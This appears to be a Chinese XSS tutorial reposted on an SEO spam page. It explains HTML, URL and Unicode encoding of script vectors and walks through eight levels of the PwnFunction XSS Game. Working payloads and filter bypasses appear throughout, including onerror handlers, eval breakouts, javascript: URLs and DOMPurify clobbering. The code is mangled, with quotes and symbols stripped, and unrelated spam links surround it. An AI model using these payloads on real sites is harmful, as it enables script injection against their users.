当前位置: 首页 > news >正文

上海建设网站公司如归网络营销推广企业

上海建设网站公司,如归网络营销推广企业,建设部四库一平台查询,企业级网络管理目录 1.XSS向量编码 2.xss靶场训练#xff08;easy#xff09; 2.1第一关 2.2第二关 方法一 方法二 2.3第三关 2.4第四关 2.5第五关 2.6第六关 2.7第七关 第一种方法#xff1a; 第二种方法#xff1a; 第三个方法#xff1a; 2.8第八关 1.XSS向量编码 easy 2.1第一关 2.2第二关 方法一 方法二 2.3第三关 2.4第四关 2.5第五关 2.6第六关 2.7第七关 第一种方法 第二种方法 第三个方法 2.8第八关 1.XSS向量编码  !DOCTYPE html html langenheadmeta charsetUTF-8meta nameauthor contentsystemmeta namekeywords contentwhoamimeta nameviewport contentwidthdevice-width, initial-scale1.0titlescriptalert(1)/script/title/headbodya hrefjavascript:alert(1)aa/aa href%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29aaa/a -----不能解码---因为这一长串是urlcode编码在href是识别不了的a href#x6a;#x61;#x76;#x61;#x73;#x63;#x72;#x69;#x70;#x74;:%61%6c%65%72%74%28%32%29aaaa/a-----可以解码这一长串先会HTML实体编码成javascript:alert(1)让href认识然后在urlcode编码!-- html编码不认识%3a --a hrefjavascript%3aalert(3)bbbbb/a !-- 相当于img src1onerroralert(4) #60 --div#60;img srcx onerroralert(4)#62;/div!-- HTML会把它当作普通字符串可以显示但是无法执行 --textarea#60;script#62;alert(5)#60;/script#62;/textareatextareascriptalert(6)/script/textarea!-- 执行 实体编码认单引号--button onclickconfirm(7#39;);Button/button!-- Unicode编码没有执行不能编译符号如等号单引号双引号 --button onclickconfirm(8\u0027);Button/button!-- HTML字符实体编码 alert(9); 没有执行不认识--script#97;#108;#101;#114;#116;#40;#57;#41;#59/script!-- Unicode 编码 alert执行 --script\u0061\u006c\u0065\u0072\u0074(10);/script!-- Unicode 编码 alert(11) 执行不了--script\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029/script!-- Unicode 编码 alert 和 12不能执行 --script\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)/script!-- 不能执行 --scriptalert(13\u0027)/script//不能执行scriptalert(14\u000a)/script// html实体编码urlcode编码Unicode编码a href#x6a;#x61;#x76;#x61;#x73;#x63;#x72;#x69;#x70;#x74;#x3a;#x25;#x35;#x63;#x25;#x37;#x35;#x25;#x33;#x30;#x25;#x33;#x30;#x25;#x33;#x36;#x25;#x33;#x31;#x25;#x35;#x63;#x25;#x37;#x35;#x25;#x33;#x30;#x25;#x33;#x30;#x25;#x33;#x36;#x25;#x36;#x33;#x25;#x35;#x63;#x25;#x37;#x35;#x25;#x33;#x30;#x25;#x33;#x30;#x25;#x33;#x36;#x25;#x33;#x35;#x25;#x35;#x63;#x25;#x37;#x35;#x25;#x33;#x30;#x25;#x33;#x30;#x25;#x33;#x37;#x25;#x33;#x32;#x25;#x35;#x63;#x25;#x37;#x35;#x25;#x33;#x30;#x25;#x33;#x30;#x25;#x33;#x37;#x25;#x33;#x34;#x28;#x31;#x35;#x29;ddd/a /body /html 1.数据状态中的字符引用 当我们进入数据状态中的字符引用时确实可以将编码字符进行解码但是不会进入标签开始的状态在问题4中“”和“”字符被编码为“#60”和“#62”。当解析器解析完“div”并处于“数据状态”时这两个字符将会被解析。当解析器遇到“”字符它会知道这是“数据状态的字符引用”因此会消耗一个字符引用例如“#60”并释放出对应字符的token。在这个例子中对应字符指的是“”和“”。读者可能会想这是不是意味着“”和“”的token将会被理解为标签的开始和结束然后其中的脚本会被执行答案是脚本并不会被执行。原因是解析器在解析这个字符引用后不会转换到“标签开始状态”。正因为如此就不会建立新标签。因此我们能够利用字符实体编码这个行为来转义用户输入的数据从而确保用户输入的数据只能被解析成“数据” 2.RCDATA状态中的字符引用 1. 空元素(Void elements)如area,br,base等等 2. 原始文本元素(Raw text elements)有script和style 3. RCDATA元素(RCDATA elements)有textarea和title 4.外部元素(Foreign elements)例如MathML命名空间或者SVG命名空间的元素 avg跟图像有关 5.基本元素(Normal elements)即除了以上4种元素以外的元素 五类元素的区别如下 空元素不能容纳任何内容因为它们没有闭合标签没有内容能够放在开始标签和闭合标签中间。 原始文本元素可以容纳文本。 RCDATA元素可以容纳文本和字符引用。 外部元素可以容纳文本、字符引用、CDATA段、其他元素和注释 基本元素可以容纳文本、字符引用、其他元素和注释 3.属性值状态字符引用 2.xss靶场训练easy 进入网站 XSS Game - Learning XSS Made Simple! | Created by PwnFunction 2.1第一关 要求是显示alert1337不能使用用户交互如a标签带有点击事件的标签 源码分析 somebodyJohn那么这段代码将导致h2 idspaghet/h2元素的内容更新为John Toucha Ma Spaghet!。 如果URL是http://example.com/没有somebody查询参数那么内容将更新为Somebody Toucha Ma Spaghet!。 根据官方文档解释script这个标签并不安全并不会执行所以这里使用更为安全的img标签 主要使用的是img触发标签 somebodyimg%20src1%20οnerrοralert(1337) 图片加载错误时会触发onerror的值然后把1337显示出来 在hmtl中会当作字符串展示在页面上不会当作标签转义 2.2第二关 源码分析 从URL的查询参数中获取jeff的值如果存在否则使用默认值JEFFF然后将这个值嵌入到一个字符串中并最终将这个字符串。显示在网页上的一个h2元素中 innerText元素本身不能渲染相当于什么标签都不能被执行 方法一 我们可以把关注点放在这句话 eval(ma Ma name ${jeff}) 让eval执行可以看到就成功了 这里其实就是用的闭合 相当于执行 eval(maMa name aaa;alert(1337);) 先执行Ma name aa的赋值其次执行alert(1337);最后闭合防止报错 方法二 把输入的全部执行 nan在js中表示非数字类型 NaN 非数字not a number属性是代表非数字值的特殊值。 2.3第三关 过滤了 ?weyaaaa%20οnfοcusalert(1337)%20autofocus        如果没有autofocus是需要用户输入这样属于跟用户交互了没有满足要求而添加autofocus是可以让其自动聚焦 2.4第四关 源代码分析 2秒后会自动提交 在form表单里面的action会出现JavaScript伪协议事件 ?ricardojavascript:alert(1337) 2.5第五关 过滤了括号反斜杠转义字符 这里使用了innerHTML可以还是使用img src onerr 但是这个题它过滤了括号 这里可以使用url编码去解码成括号 如果直接%28html无法识别%2528---转成%28----转成 ?markassbrownleeimg%20src1%20οnerrοrlocationjavascript:alert%25281337%2529 2.6第六关 过滤字母数字-------考虑使用编码 js编码 这样就可以绕过使用数字字母但是这样页面是识别不了了的还需要url编码才能被页面解析 然后将编码放在balls 2.7第七关 过滤了转义字符单引号双引号加号短横杠感叹号… 同时过滤长度 第一种方法 js有三种定义函数的方式 1.function 语句形式 function test1() { alert(我是test1); } 2.函数直接量形式 var test2 function() { alert(我是test2); } 3.通过Function构造函数形式定义函数 var test3 new Function(a, b, return ab;); 第一个字母是大写表示是一个类 这里可以使用Function()()函数同时由于还过滤了alert根据js严格区分大小写的特点我们可以在路径上输入大写的alert,但是为了能识别出alert还需要转成小写 ?mafiaFunction(/ALERT(1337)/.source.toLowerCase())() 第二种方法 使用parselent函数tostring函数可以二进制转换 注意这里为什么数字是30而不是2829等其他数字主要是在二进制里30才能包含字母t ?mafiaeval(8680439..toString(30))(1337) parseIn将alert转换成二进制8680439然后 eval对8680439..toString(30)转换为alert 第三个方法 使用location.hash.slice函数 location.hash获取的是#后面的内容 Slice()截取函数slice1截取从1开始往后的内容这样就可以不会把#打印出来 ?mafiaeval(location.hash.slice(1))#alert(1337) 2.8第八关 想绕过DOMPurify.sanitize函数是不可能的 观察setTimeout(ok, 2000)每2秒输出ok,但是ok并没有被定义 所以可以创建ok .map一个一个取 ?boomera%20idok%20hreftel:alert(1337) a标签的href自动替换成字符串相当于把tel:alert(1337)当作字符串处理idok可以获取到href标签, 为什么这里不使用JavaScript是因为在DOMPurify函数里把JavaScript拉进了黑名单里因此我们可以所以它里面的白名单函数如tel 替代JavaScript去执行
http://www.w-s-a.com/news/362012/

相关文章:

  • 承装承修承试材料在哪个网站做如何用虚拟主机建设网站
  • 如何建一个外贸网站网页设计零基础学习课程
  • 营销型外贸网站广州昆明建设网站制作
  • 网页制作网站素材项目建设全过程管理
  • 正能量网站下载柬埔寨网赌网站开发
  • 如何免费建设公司网站广州传业建设有限公司网站
  • 织梦做的网站快照被攻击张家口网站建设公司
  • 平顶山公司网站建设南昌网站seo多少钱
  • 网站开发要先买服务器吗建设婚恋网站用什么搭建
  • 我想自己在网站上发文章 怎样做wordpress站点安装
  • 北京模板网站开发全包昆明网站开发正规培训
  • 西咸新区建设环保网站谷歌风格wordpress
  • 嘉兴港区建设局网站2018年网站开发
  • 网站里图片做超链接专业开发网站报价单
  • server2003网站建设做销售记住这十句口诀
  • microsoft免费网站网站后台登陆路径
  • 贵州住房和城乡建设局网站做网站排名费用多少钱
  • 现在个人做网站还能盈利吗xampp用wordpress
  • 做网站 租服务器温岭建设公司网站
  • 四川住房和城乡建设厅网站官网做网站最贵
  • 右玉网站建设四川林峰脉建设工程有限公司网站
  • 网站推广小助手杭州百度百家号seo优化排名
  • 怎么做网站搜索框搜索网站备案拍照背景幕布
  • 建设部网站城市规划资质标准伊春网络推广
  • 如何设计酒店网站建设深圳市房地产信息系统平台
  • 伍佰亿网站怎么样网站建设前台后台设计
  • 做整装的网站北京哪个网站制作公司
  • 建设赚钱的网站福州便民生活网
  • 咸阳网站设计建设公司小程序打包成app
  • 做视频网站视频文件都存放在哪做旅游宣传图的网站有哪些